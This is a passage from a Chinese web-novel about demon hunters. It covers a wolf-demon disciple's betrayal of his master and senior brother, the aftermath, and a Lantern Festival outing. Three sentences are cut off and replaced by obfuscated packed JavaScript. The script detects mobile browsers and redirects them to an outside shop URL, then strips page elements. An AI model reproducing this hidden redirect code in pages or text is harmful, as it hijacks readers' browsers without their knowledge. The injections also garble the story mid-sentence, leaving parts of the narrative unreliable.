“我们捉妖师,该管的是妖怪,而非别人家事。”出了府邸,孟宥如是道。 金吾术不服气:“师父,难道就让这样一个渣滓回家,去祸祸他那结发妻子?” 谢仇平静道:“至少不该撒谎,他那小妾明明磕到桌角晕在角落,并没有弃他于不顾。” “你、你们!”金吾术气哄哄道:“这叫善意的谎言。” 谢仇道:“挑拨离间。” 金吾术:“……” 被师父和师兄两人联合反驳,他闷闷不乐,一肚子气无处发泄,一路上走的十分蔫巴。 前方一颗石子挡路,他一脚将它踢开,却忽然觉得有两道目光在注视着自己。他回头,看到月光下,师父笑呵呵道:“不过,这样的结果,我还是喜欢的。” 金吾术眼前一亮。 谢仇抱臂,不冷不淡的哼了一声。 金吾术乐了,他师兄就这怪样,苦也不说,痛也不说,悲伤不说,欣喜也不说。但当然,相处十多年了,他是能分清师兄此刻对他是赞赏的。师父嘛,就更别提了,都明着支持他了! 真是太满足了,金吾术笑个不停。 忽然,前方人声喧嚣。 金吾术奇道:“发生了什么事?” 孟宥算了算日子:“今日是元宵夜,前方,是在放花灯吧。” 三人朝前走去,果然,看到波光粼粼的湖面上,沉浮着一盏又一盏璀璨至极的花灯。 “来来来,瞧一瞧,看一看喽,元宵佳节,河灯万盏,其中共有三盏,里面装着神秘大奖,分别为一等二等与三等奖!”卖花灯的小贩热情吆喝道:“机不可失,失不再来,来来来,都来押一把喽!” “卖家,这是怎么个中奖法?”金吾术问道。 小贩指着自己摊贩前面一大簇一大簇的河灯:“客官买一盏吧,这灯是我特意请修士施了法术的。若是有奖,那灯便会从河面上凌空飘起,万人可见,那时,您到咱这儿来兑换奖品即可。” “这么有意思啊,”金吾术兴致勃勃:“那要是没中奖呢?” “没中奖,那就让它顺水流去,放个晦气,许个心愿,”小贩眉开眼笑道:“怎么都不亏的。” “还真是。”金吾术已经心动,掏了钱出来:“我买三盏。” “好嘞,三锭银子。” 金吾术惊了:“怎么比别处贵这么多啊???” 小贩道:“客官,自然是因为咱这灯与众不同、有奖品啦!” 金吾术心疼这钱,这可是他们四处游历捉妖,好不容易赚来的,三盏布糊的灯就要他三锭银子,也太不划算了吧? 然而小贩实在是会做生意,已经眼尖手快、自然而然的将银子拿了过去,麻利的从花灯中挑出三顶漂亮的递到他手中:“这位公子英俊挺拔,年轻有为,我看哪,必然能中大奖。” 这下,金吾术也不好意思拒绝了。 谢仇目不斜视,道:“败家子。” “你!”金吾术还真反驳不了,大价钱买了这东西,果真是个败家子。他牙疼般哼哼了一阵,最后找补道:“万一呢,真能中那大奖。” 他将灯递给孟宥和谢仇各一盏,埋头在自己的上面写了愿望,将它点燃,放到湖中。 只见那莲花灯颤颤巍巍,最后稳当的漂浮在了水上。 没飞起来。 金吾术尴尬道:“师父,师兄,你们也放。” 孟宥和谢仇也各自将灯放入水中,然后一样倒霉的,没有飞起来。 金吾术:“那、那个,就算没中奖,许个愿也是好的嘛。” 孟宥将这湖面上的河灯盯了半晌,忽然道:“不对。” “嗯?怎么不对?” “——有妖吗?!!” 两个徒弟顿时紧张的拔出剑来。 孟宥忍不住笑了:“不是妖,我是说这灯。” “这灯怎么了?” “所有的灯里,都没有奖品。也就是说,没有一盏是飞得起来的。” “啊???什么???” 三人观察一阵,果然,这小贩因那“神秘的大奖”,吸引了不少好奇的、想尝试一下运气的买家,一时生意红火无比。但只是,卖出这么多灯了,却没有见过一盏飞起来的。 大家眼见还没有中奖,纷纷都想那三盏有奖的灯还在后面,于是更加争先恐后的去买剩下的河灯,幻想自己会是那三分之一的幸运儿。小贩眉开眼笑,收银子收的手软。 可要是,这些灯里根本就没有能飞的起来的呢? “太过分了!”金吾术怒道,立马气势汹汹的冲上去理论。 “你骗人,根本就没有能中奖的灯!” 小贩不满了:“唉,这位公子,你没中奖是你运气不好,怎么血口喷人哪?” 金吾术一指身后湖面,道:“那卖出这么多了,有哪一个是中奖的?” 大家一听这话,纷纷回过味来:“还真是。” “我没有中奖。”“我也没有中奖。” 小贩急了:“你你你……” 金吾术道:“你你你,江湖骗子!” 大家纷纷反应过来了:“他真是骗子啊。” “是啊,比别处贵十多倍,这人把我们当傻子哄呢。” “唉,人心不古啊!” 更有暴躁者:“我草你大爷的,退钱!” 小贩见状不对,拔腿就跑,被金吾术一把拦住,掏出剑来。 小贩瞪大双眼,慌了:“你要杀我?” 呃,金吾术心道还不至于,他只是……剑光一闪,系着千万盏河灯的带子被挑断,河灯纷纷坠落河面。大家低头看去,果然,无一盏可以飞起来。 “是、是它们坏了,出故障了。”小贩结结巴巴,强撑着辩解,到手的银子,都捂热了,谁还愿意还回去? “还想狡辩?!” “咦,”忽然响起一个带点惊讶的声音:“我看真的,他没有撒谎啊。” 众人纷纷朝这人看去,只见这人背一柄长剑,白衣胜雪,言笑晏晏。 有人认出他来,顿时激动:“孟天师?” 孟宥微笑颔首。 小贩见这人是孟天师,还愿意帮自己说话,顿时信心大增,重新趾高气昂起来:“你们看,我就说,不是没有奖品,只是河灯故障了,这我也没办法呀!” 众人纷纷不信,可孟天师这样说,他们也动摇了。 金吾术拉住孟宥,恨铁不成钢道:“师父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060162|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你这是干什么?你怎么胳膊肘往外拐啊?” 孟宥示意他稍安勿躁,转头,对那小贩道:“正好我会修理,就且来帮你一番吧。” 小贩正发愣,就见孟宥长剑指向湖面,然后剑尖向上一挑—— 只见顿时,千万盏河灯,徐徐从湖面飘离,升到了空中。 河灯璀璨,将夜空照的美如仙境,人身临其中,不免屏住呼吸,仿佛要醉了一般。 孟宥奇道:“原来如此,它们竟都是有奖的,我们还真是冤枉你了。” 一万多份神秘大奖哇…… 他哪里掏的出来? 小贩眼前一黑,腿一软,晕了过去。 众人快意的拍手大笑,却只见那师徒三人,已经踩着河灯,在月色下远去。 风声猎猎,将衣袍吹的翻飞。在一盏又一盏散发着莹莹光华的河灯间,师父的眉眼那样生动,就连一向冷脸的师兄,此刻都变得顺眼许多。金吾术不由叹道:“真想永远都是今夜。” 孟宥笑道:“千里搭长棚,天下哪有不散的筵席?” 金吾术却回头,在众多花灯间看见自己那一盏。 “那可未必呢。”他心道。 - “师父,我去吧!”金吾术眼中闪着壮志踌躇的光芒,兴奋道。 这只狐妖的修为其实不算强大,两个徒弟也跟了自己这么久了,终有一日,他们要能够独当一面,此刻,也该给他们个机会了。孟宥点头道:“好,你去吧,我和你师兄在此处等你。” 金吾术瞬间乐呵起来,拿了剑就风风火火的追赶上去。 却听身后师父忽然又叫住自己:“等等!” “怎么了?” “狐妖法力虽不是你的对手,但它天性狡猾,你万万不可掉以轻心。” 金吾术笑道:“放心吧!师父师兄就等我的好消息吧!” 瞧着他意气的背影,谢仇微微皱了皱眉:“师父。” 孟宥闭眼打坐:“怎么?” “我……”谢仇欲言又止。 孟宥笑了一声,知道这小子是担心他师弟,这两个徒弟平日里吵吵嚷嚷、打闹不和,但其实,真正的重要关头,一个心里还是记挂着另一个的。孟宥道:“让他去吧,总要经历这么一回的。” 谢仇点点头,也同师父一样,在原地打坐起来。 只是不知为何,总有些惴惴不安,心神不宁。他烦躁的吐出一口气,强迫自己定下心来。 夕阳渐渐褪去,夜色降临,金吾术还没回来。 孟宥蓦地睁开眼,心道不妙。莫非真的,这孩子出师不利? 正待与谢仇起身去寻找他的踪迹,远处,有一个颀长清瘦的身影朝他们走了过来,一轮大大的圆月之下,那袭黑衣随风翻飞,手中的剑,也沾满了阴冷肃杀之气。 “总算回来了。”孟宥正宽慰下来,忽然看清金吾术的面容。 他脑中轰然一声,十数年前村子里尸横遍野的惨象又浮现出来,狼妖一脉被斩杀殆尽,狼王发出最后一声哀嚎,圆月高悬,血流十里……孟宥失声道:“不!” 金吾术淡淡的悲伤的笑了笑,走到他们面前,只见那双黑色的眸子,不知何时已重新散发出幽绿的光芒。 12. 第 12 章 谢仇不明所以,只是觉得气氛蓦然不对,紧绷而又诡异。 “师弟,你回来了。”他不安道。 “师兄,我回来了。”金吾术轻声道。 孟宥微微颤抖起来:“不!” 却见下一刻,金吾术微微一笑,人形退去,化身为狼的原型,犬牙尖利,高大威猛。 谢仇的呼吸一下子停滞,死死的盯着他,一字一顿:“狼妖?” “是,师兄,我是狼妖。”金吾术道。 谢仇一瞬间拔出剑抵住这狼妖的咽喉,听见它哽咽着道:“师兄,我是狼妖,你杀了我吧。” 杀,自然该杀,该千刀万剐,让他元神寂灭,永世不得超生。这是在狼妖一族屠杀他的村子后,他便许下的誓言,十多年了,他一刻也没能忘记过当日那痛彻心扉的仇恨。 只是,为什么? 为什么是今日这样的境地? “为什么,师父?为什么?” 孟宥只觉得喉口一阵腥甜,眼前发黑,他强撑着将那口鲜血咽下去:“不,不要动手,不是你们想的那样。” “不是想的哪样!”谢仇忽然嘶声,“师父是说,你将一只屠我全村的狼妖抚养长大,教他法术,养他成人,然后又收了我为徒,让我与自己的仇人朝夕相处,还和他以师弟相称?!” “不,谢仇,他没有做错,当日狼妖屠村时,他不过尚在襁褓,你的仇恨过大,不要走火入魔!”孟宥急切道,却见谢仇的双眼已经开始发红,手中的剑,杀气十足。 金吾术闭上眼,不作任何反抗,凄声道:“师兄,你杀了我吧。” “不!!!”孟宥哑声吼道,举剑挡住谢仇的剑。 鲜血淋地,一具年轻的身躯,缓缓倒在了地上。 孟宥不可置信的,抬头看向金吾术。 只见他眼中的悲伤与可怜已经尽数消失,幽绿色的眼眸中,充满了阴险与得意之色。他的利爪上沾满了鲜血,那是谢仇的血——谢仇那一剑到底没有刺下去,然而就在他挣扎痛苦之时,金吾术毫不迟疑的,一爪穿透了他的心脏。 那口鲜血终于吐出,孟宥跪倒在地。 “师父,你在伤心吗?”狼妖竟恬不知耻的,还用额头亲昵的蹭了蹭他,语气甜蜜道:“当日你对我手下留情时,你早就该想到会有这一天的呀。” “我对你手下留情,你就是这样来回报为师吗?”鲜血浸透了一块雪白的衣衫,孟宥眼神绝望,哀莫大于心死。 “手下留情?手下留情?”狼妖忽然尖声大笑了起来。 “你屠我狼族满门时,可曾想过手下留情?若你真的慈悲,当年你我初见的第一面,就该将我也一剑捅死,又何必掩了我的妖气,将我如一个凡人一样抚养长大,教我杀妖、正道、济苍生?哈哈哈哈哈哈,哈哈哈哈哈哈哈哈,天师,孟天师!我竟不知,月夜斩尽狼妖,一剑扬名天下,原来你这功名之下踩着的,是我狼族血亲数年来未凉的尸骸!原来这么多年你教我的,是让我与妖族同胞自相残杀!” 孟宥凄然道:“妖又如何,人又如何,向善便是好,你又为何如此执着于妖的身份?” “那么我请问师父,若是真的不在意我是妖,又何必这么数年,都一直用法术压制我的妖气呢?” 孟宥闭上眼,复又睁开,漠然擦去嘴角的鲜血,站起来,握紧手中长剑。 “师父终于要杀我了吗?”狼妖微笑道。 “当年我年轻气盛,心气狂妄,我以为,我可以将你带入正道。”孟宥一字一句道,“如今看来,那时我真是太过青涩。” “徒儿,今日方知悔改?” 一道沧桑的声音忽然传来,孟宥周身一震。 只见来者白发白须,宽大衣袍,仙气飘飘,他手中一把拂尘,面上带着慈和而宽容的微笑。 “师父……”孟宥喃喃道。 逍遥派掌门人,他的师父,终须臾。 终须臾叹道:“当日你执意放过这只狼妖,我便已知种下孽缘,时至今日,徒儿你终于看清楚了?” 看清楚了吗?应当是看清楚了。可是却又为何,总是觉得不甘心、甚至还怀有着一丝期望?孟宥苦笑道:“我最后问你一句,金吾术,你当真……不愿回头吗?” 狼妖怔了怔,朝终须臾走近,道:“师祖。” “师父他当日救我,真的是因为善意?” 终须臾道:“自然,全因一番善心,别无他念。” “当真?” “师祖不会骗你。” 狼妖僵硬一下,忽然,有眼泪汹涌而出。 “我错了,我错了,我杀了师兄,我一时被仇恨蒙蔽了双眼了……” 终须臾叹口气,慈和的摸了摸狼妖的头:“只要真心悔改,那就还为时不晚。” 孟宥疲惫的收回长剑,却见那狼妖嘴角忽然浮现一抹诡异的微笑,他心头重重一跳,血液凝固:“金吾术!!!” 却已为时已晚,那狼妖的利爪,再次穿透终须臾的胸膛。 拂尘染血,坠落在地。 又一口鲜血喷涌而出,孟宥大笑起来,眼泪都笑了出来。他到底是有多么的傻,才会一而再、再而三的相信这只狼妖能够弃恶向善? 圆月当空,手中长剑发出穿云破竹之声,直向狼妖而去。 许多年前,他也是这样,斩杀了狼族一脉。而今,许多年前种下的恶果,就由他亲手来解决吧。 一切都该结束了。 “师父。”却见那狼妖站在原地不动,笑意盈盈。 “这么些时候了,师父都不觉得,经脉闭塞、全身乏力吗?” 孟宥一怔。 怪不得,他这样容易便急火攻心、口吐鲜血,这妖物何时下了毒? 他想撑着刺出这最后一剑,为人间了结这个他亲手放过的怪物,然而终究,力不从心。 周遭的一切都变得很遥远,长剑摔落在地,发出清脆的“铛”的一声。 他躺在地上,感到狼妖重新化作人形,跪在他面前注视着他。这张面孔这样熟悉,只是,这人却再也不是那个他引以为傲、天真快意的徒弟。恍惚间,很多年前师父的声音浮现在耳边。 “妖物是恶,人是善,永远,不要对妖物抱有幻想。” 冰凉的泪水从眼角滑下。 “师父,或许我终究…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060163|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是错了。” 一切的一切,都归于平静。 却见那地上原本横躺惨死的终须臾,忽然一翻身坐了起来,下一刻摇身一变,成了一个身着华服的年轻男人,一双邪气的桃花眼上挑:“都死了?” 金吾术撑着剑,半跪着身子,疲惫极了的模样。 “刚才你可抓得我疼死了,”这男人伸了伸懒腰,“还是我的法子有用吧,论真打起来,你可既不是谢仇的对手,更不是孟宥的对手。” “狐妖,你走吧。”金吾术道。 “我好歹帮你成功复仇,美酒财宝就算了,怎么连一声感谢也无?”狐妖不满道。 “你是走,还是死?”金吾术冷冷道。 狐妖一愣,这才想起这家伙刚才本来是追杀自己来着,但是,“不是都知道你是妖了吗?怎么,你还想杀我啊?” “妖就不能杀妖?” “喂,妖怪本来就已经足够艰难了,被人族追杀的像阴沟中的老鼠,怎么,你还想自相残杀?” “对了,告诉你,知道为什么妖都爱杀人吗?”狐妖又道:“因为修炼之道,漫长且乏苦无味,闭关十年,法力也不过精进那么一点点。但是,杀了人就不同了,人的精血,人的魂魄,是妖怪修炼最好的补品。” 金吾术哑声道:“自己修来的不好吗?何必急功近利。” “急功近利?”狐妖大笑起来:“你自己苦苦修炼,却看到与你同类的妖怪们随手杀死一个人,就能轻轻松松超越你,这时,你会甘心吗?” 金吾术道:“我会。” 狐妖冷哼:“我就知道你会这样说,跟着凡人把你的脑子都跟坏了。好吧,就算你甘心,但更重要的一点是,你不杀人,你的法力微弱,这时人间的捉妖师便会轻轻松松斩杀你——他们才不会管你是好妖还是坏妖。要么你死,要么他们死,你自己选吧。” 金吾术道:“滚!” 狐妖瞧他神色,有种压抑的疯狂和危险,心想再待下去自己还真捞不到好,于是转身,很华丽的滚了。 留下金吾术一人在原地,沉默的望着他的师父与师兄。 不知过了多久,天都亮了,金吾术惊醒,望见一地鲜血狼藉。 不是梦。 他将师父和师兄的身体背到一处洞穴里,他不杀他们,他们也会杀了他,他只不过是先狠下心。而今他赢了,他本该将他们碎尸万段,但他到底没有下手。最终他转身离开,去外面街上,杀了两个人试试。 果然,被人的精血滋养,他霎时便觉得法力有所长进,抵得过他苦修数日。 只是,为何心中却并没有欣喜? 人群四散,大叫着妖怪来了,金吾术瞧着这群蝼蚁,漠然又麻木。 却忽然,有一个人认出他,颤巍巍道:“这不是、这不是孟天师的徒弟吗,去年元宵灯会,我还在河边见过他?” “啊?当真?” “应该是没有认错的,那时他三人意气风发,状如谪仙,我印象可深刻了。” “可孟天师的徒弟怎么会是妖怪?” “这……” 金吾术忽然捂住脸,跌跌撞撞的逃离。 13. 第 13 章 段匆长叹一声,不胜唏嘘。 一开始,错的不是孟宥,错的不是谢仇,错的甚至不是金吾术,那么,错的究竟是谁? 她看着尘缘镜中,金吾术如游魂一样,游历人间十数载,每年元宵佳节,他放出一盏又一盏河灯,上面无不写着同一句话。可是,他永远都等不到了,再也不会有师徒三人一起快意大笑的元宵佳节了。 人非人,妖非妖,爱不得,恨不透,活不下,死不了。 金吾术终于崩溃,抱着洞穴中保存完好的师父与师兄的尸体,撕心裂肺的对月长嚎。 人总是失去了才懂得珍惜,若是当初,这狼妖预想到自己今日这境地,可还会被仇恨蒙蔽双眼? “杀了我吧。”招魂失败,金吾术平静的微笑。 “我早就该死了。” 段匆以剑指着他,可双手却微微颤抖。手中这把漆黑温润的长剑,仿佛也知道她的心意般,发出一种忧伤的、轻柔的震鸣之声。 “有一个人,可以帮忙。”李刻青忽然道。 段匆怔了怔:“什么?” 李刻青将她握剑的手按下来,转头。段匆顺着他的方向看去,见走来的是一个清秀瘦弱的姑娘。段匆想起来了,惊道:“蜃妖?” “是我,姑娘。”蜃妖道。 “你……”段匆有些欣喜,她竟然还活着,而且气色比当初好多了,“你的妖丹回来了?” “嗯,”蜃妖感激道,“李公子帮我拿回来了。” 他拿回来的?可是他怎么知道蜃妖一事?当时解救蜃妖之时,在场的人里并没有他啊? 段匆怔了片刻。 待回过神,她转向蜃妖道:“你可以帮忙,是怎么个帮法?” 蜃妖道:“我的法力是织幻,姑娘。” 海市蜃楼,人生一梦。蜃妖的法力其实并不暴虐,反而很温和,她能深入人的内心,探知他们所思所想、所爱所恨,然后,为他们编织一场恰合他们心意的梦境。只是,往往有不少人,心志不够坚定,入了梦境,得见一生所愿,便会沉溺其中,再也不愿醒来。 蜃妖施法,只见一缕淡淡的、梦幻的紫色烟雾将狼妖包围。 渐渐的,他眉眼间的戾气和绝望消失,慢慢变得平和,变得意气风发,最后,他竟弯起嘴角,幸福而满足的笑了起来。 然后笑容凝固—— 这世上最后一只狼妖,陷入了永不会再醒来的梦乡。 “我为他编织了一个美梦,”蜃妖感知狼妖这一生,也有些惆怅的道:“一场……千里不散的筵席。” 一时,所有的一切都归于平静,一种淡淡的绵长的忧伤,悄无声息将所有人笼罩。 这时,人群中忽然有一个人,发出长长一声叹息。 众人看去,只见这人穿着破烂,眉眼有些沧桑,但双眼却仍极亮,背上那把剑,擦拭的一尘不染。 这人好生眼熟……段匆灵光一闪:“陈道心前辈!”这位不就是孟天师的好友,陈道心吗? 果然,这人微微一笑:“小姑娘,你好。” 这群人都是被狼妖摄取了魂魄的人,而如今陈道心竟也在其中,段匆十分同情道:“前辈你也被狼妖抓住了啊。” “呃……”陈道心顿时尴尬了,这么多年过去了,自己仍旧打不过狼妖,可真是丢足了老脸啊。他咳了一声,转换话题道:“我瞧你们这些年轻人,智勇双全,心怀大爱,可真是后生可畏,后生可畏啊。” 段匆不好意思道:“多谢前辈,只是方才,前辈为何叹息呢?” 言及此,陈道心的神情顿时有些落寞。 他缓缓道:“其实当年狼崽一事,我是知道的。” 孟宥将一瓶酒高高朝他抛来,他伸手接住,便是这一刹,他嗅到一缕淡淡的妖气从孟宥袖子中传来。他苦修多年,虽然法力不算很高强,但对妖气的感知十分敏锐,尽管孟宥施法掩盖,却还是没有骗过他。 只是,那时他却并没有阻止。 大道三千,人妖有别。捉妖师一生的使命,便是斩杀妖物,保护人间,前辈们也都说,妖本恶,人本善,但在杀死一只又一只妖的同时,陈道心也曾疑惑过。 妖,真的天生即恶吗? 他望着好友远去的身影,心道,祝你成功。 “若是当初我坚定的阻止他,杀死那只狼崽,也许,就不会落得今日这般境地了。”陈道心自责道:“可是那时他太年轻,我也太年轻,他以为自己可以成功,而我期待能够从他身上看到成功。” 于是一错再错,终成死局。 “前辈,人生百年,终有一死,”段匆劝慰道,“孟天师死在为他的理想而努力的路上,或许,除了离开前最后一刻,其余先前的年月中,他也未必算是不幸福吧。” 但那最后一刻,却也因此,而显得更加悲伤了…… 当然,这句话段匆万万不敢说出口,安慰人安慰人,此话一出,不是反而往人家心口上插刀子吗? 她只在心中默默叹息了一声。 陈道心苦笑道:“我也知道,只是忘不了初见之时,他一袭雪似的白衣,背一柄长剑,信誓旦旦的说要为民除害。” 那时的步履何等轻快? 那时的眼神,那时的笑容,何等意气风发? “罢了,狼妖今日已被降服,一切总归过去了。”陈道心努力挤出满不在乎的笑容,想了想,孟宥这小气鬼,生前连剑都不愿让他摸一摸,如今这人两眼一闭,身前万事空,再也无烦恼,他又伤感个什么劲? 于是,这笑容是真的释然了:“走罢!我们下山。” 却忽然被身后一个清脆的女子声音叫住:“前辈,我有一事相问。” 陈道心停下。 听见她道:“所以妖怪,是真的生来即恶吗?” 小草精伤心了,团成一团在段匆肩膀上蹦跶,她们都相处这么久了,她却还是不信妖怪也有好的。草精道:“你瞧人间的凡人,也有黑心的,也有自私的,也有阴险恶毒的,也有见利忘义的,你为什么不说他们坏,总是觉得我们妖怪生来就坏呀?” 段匆有些不好意思,小草精是真的天真可爱啊,可是,她还是将心中的想法说了出来:“因为自小到大,师父都是这样教我们的。” 苏有容、周浮生、宁芙,天门宗的弟子们,也都点了点头。 二十多年,从来都被教导,妖怪就是坏的,见到就要格杀勿论,在他们心中,对此已经尊如天条、深信不疑。 能提出质疑,已经是鼓起了很大的勇气。 陈道心看着这群年轻人殷切而疑惑的眼神,想起好友孟宥,死前最后一刻,他流着泪说他错了,想起自己这几十年降妖除魔,落得无数伤痕,妖怪从不手下留情。可是,千言万语激荡在心头,最后他说:“不。” 人与妖的仇怨已经愈演愈烈,甚至到了水火不容的地步,但,人与妖,生来就该互相屠杀吗? 陈道心道:“……不。” “我一直以为捉妖师的使命是杀妖,杀尽天底下所有的妖,便就是历来捉妖师所憧憬的人间太平了。但渐渐的我想,或许捉妖师的使命,是化解人与妖的隔阂。我已经老了,但你们正当年轻,希望终有一天,这一幕,能够在你们手中实现。” 段匆只觉得有种什么阴霾被一扫而开,她心头豁然开朗,壮志满怀道:“好!前辈!” 今时不同往时月,一代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一阵风吹来,苏有容的衣角翻飞,她抱着剑,整个人如一片温润坚韧的白瓷,浮出淡淡的平和的笑意,道:“我和他的恩怨,也该有个了结了。” “师姐……” “你们先回天门宗吧,我去人间找他。放心,我不会如狼妖一般。” 纵使不舍,大家也只能答应了。 到了山下时正逢夜晚,周遭张灯结彩,美轮美奂,大家这才一想:今夜,就正是元宵佳节啊! 周浮生咳了两声,道:“大家久居山上,也没见过这人间元宵盛况吧?今日大师兄我就做主,让大家痛痛快快的玩个两天,再回宗门!” 这人总算说了句大家爱听的,大家纷纷拍手道:“好!”“好!” 元宵佳节,该去干什么呢?段匆一边新奇,一边有些没头没脑、不知从哪里下手。 忽见大师兄十分乐呵的朝自己走来:“小师妹?” 呃,段匆道:“大师兄你还是叫我段匆吧。”这语气黏糊糊的,听得人怪不舒服。 “不知道去哪里好是不是?人间我熟啊,不如就让大师兄带你玩吧。”周浮生眼皮一垂,眼里闪过轻浮油滑的光芒,没皮没骨的就要靠在她肩上。 段匆有点想拒绝,但又不好拂了大师兄的面子,正发愁呢,忽闻淡淡的杏花香飘来。 她眼前一亮。 抬头,果然看到李刻青摇着折扇,笑容惬意,道:“不是说好去放花灯的吗?走吧。” 14. 第 14 章 “怎么了?”李刻青道。 方才经过宁芙师妹身旁,不知为何,突然觉得师妹在用一种异常的、极令人不舒服的眼神盯着她,但抬头一看,却又见师妹眉眼弯弯、笑意温柔,哪里有半分不对劲?段匆将心头那点疑虑压了下去,摇摇头,道:“没什么。” “对了,我们真的去放花灯吗?” “当!然!啦!早就听闻人间元宵盛况,只是我久居山上,从来没机会见一见。今天可好,总算是热热闹闹、团团圆圆的来了一回人间。”小草精从李刻青袖子中跳出来,蹦到段匆手上。 段匆见它小小一只,此时说出的话却老气横秋,不由有些好笑,将它拢到手心中,道了声:“走罢。” 夜色已深,街上却正是热闹,三人行至河边,买了花灯,写上心愿,将它放在水面,看着它颤巍巍的顺水而去。 草精奇道:“这样就真的可以实现愿望了吗?” 段匆笑道:“哪能?狼妖求了数十载也没能得偿所愿,可见这花灯,不过是凡人的一个念想。” “哦,那还有什么意思?”草精霎时十分失望。 “唉,小兄弟,你这样想就不对了,若这样认真论起来,人间大多事都是没有意思的。凡人嘛,不像妖怪,修炼得道就有长久的寿命,凡人这一辈子不过百年,朝花夕露,转瞬即逝,是以,追求没有那么多,许多事做了未必有结果,但做的那一刻心中欢喜,这便足够了。” 草精噌地一下缩了回去。 这街头人来人往,他们淹没在人群,本是平平无奇,却没料到有人暗中注意着他们,段匆转头,不动声色的微笑道:“正是,受教了。” 好吧,再不动声色,面前这人大概已经知道了什么。 这人自信从容,眉眼骄矜,身上,则背着一张弯如满月的弓箭。 “在下谢蕴。”这小公子笑着向他们抱个拳,只是,这笑意中隐含着一种冷冽和轻蔑。 “谢公子所言极是,这人活着呢,就该今朝有酒今朝醉,及时行乐才是,”段匆简直想脚底板抹油溜走,一边说一边带着小草精、拉了李刻青就往人流中挤,“正好想起我们还有许多人生乐事待做,多谢提点。相逢是缘,我们后会有期了!” 然后,嗖的一支箭插入她脚下的地面,挡住了前路。 段匆僵硬的回头,僵硬而天真的微笑:“谢兄,这是何意?” “人生乐事嘛,我这里倒恰巧有一件。”谢蕴微笑。 段匆:“……哦?” 他们此刻,就站在波光粼粼的河水边,河的对岸有一家客栈,名曰“同福客栈”。谢蕴道:“可看见这客栈牌匾上的那个‘同’字?”段匆眯眼,发现“同”字中的那个“口”乃是一枚铜钱,谢蕴道:“正好我手上有这把弓箭,不妨来试一试,谁能将那枚铜钱射下、讨个彩头?” “这大过节的,打打杀杀,不好吧……” 谢蕴扬起一边眉毛:“铜钱而已,怎么能算打打杀杀呢?” “要不换个别的,赏月喝酒,吟诗作对,也同样算是人间美事嘛……”谢蕴甚至还很谦让的让她先射第一箭,那把大弓一个劲的递过来,只是段匆哪里敢接啊??? 推拒来推拒去,甚至过路人都好奇的不住打量着他们,谢蕴终于有些挫败的放弃了段匆,转而将目光放向李刻青。 李刻青十分淡定的接过弓箭:“只是我技艺粗陋生疏,还望谢兄不要见笑。” 谢蕴道:“哪能?” 段匆那个心啊,真是提到了嗓子眼儿上,她对着李刻青使眼色、再使眼色,谢蕴貌似关切的道:“你的眼睛,没事吧?” “……没事。”段匆从牙缝中挤出这两个字。 李兄啊李兄,这种时候怎么能这么不灵光呢? 罢了,罢了,看来此刻是箭在弦上,必发不可了。段匆一边注视着李刻青拉开弓、看准那枚铜钱,一边暗暗的将袖袋中的红伞掏出来,提前做好准备。 似乎有金石碰撞的“铛”的一声,然后周围被吸引到的路人爆发出一阵喝彩和掌声,段匆望去,只见那支箭矢飞出,干净利落的,正好穿过铜钱! 谢蕴似乎并不关心到底有没有射中铜钱,他皱着眉头盯着李刻青,似乎有些失落。 突然,李刻青的身影摇晃了两下,然后支撑不住般的,吐出一口鲜血,整个人落入了河水中! 谢蕴瞬间神采飞扬,喜悦叫道:“妖!” “啥?妖?哪里有妖???”“呜呜呜妈妈,有妖怪……” “宝宝不怕,妈妈在这里……” 周围的人顿时乱做一锅粥,哭天喊地,四处奔逃。但此时人流众多,你挤我我挤你的,反而半天都跑不出去,在原地兜圈子。后来不知是谁突然想到谢蕴,这位修士既然发现了妖怪,那想必也一定不会惧怕那妖怪吧! 于是,谢蕴瞬间成了香饽饽,被围的水泄不通。 这个拉住他的衣角,那个握住他的双手,还有一个抱住他的大腿,谢蕴脱身不得,气急败坏道:“你们这群笨蛋,快放手!那妖怪就要跑了!” 大家终于恍然大悟,平息下来。 谢蕴顾不上理好被拉扯的乱糟糟的衣衫,忙上前到河边查看,只见河面平静如绸,毫无波澜,唯有那一盏盏花灯,盈盈的漂浮着。谢蕴拉弓,将一支箭射入水中,只见那箭闪着微微发红的灵光,一直穿透到水底深处。 然后,水面突然冒出一个水泡。 谢蕴神色一凛。 大家又害怕又好奇的伸长了脖子看,只见那水泡很快变大,变大,然后,砰的一声响! 大家又叽里哇啦哭天喊地的往后跑,跑了几步,发现谢蕴却仍站在原地,毫无动静。 于是,又有人壮起胆子上前瞄了眼。 原来方才那声响不是妖怪来了,而是那水泡破裂了,而此刻,只见破裂的水泡中,竟绽开了一支清丽的杏花。隆冬时节,却有花朵盛开,而且从水中盛开,不必想,这是那妖怪的手笔了。 只是大家颤巍巍的等了半晌,却见这花朵平平无奇,没有任何要加害他们的迹象。 “娘子,你看这花美不美?”到最后,甚至有个汉子直接摘了一朵下来,给他的妻子戴在头发上。 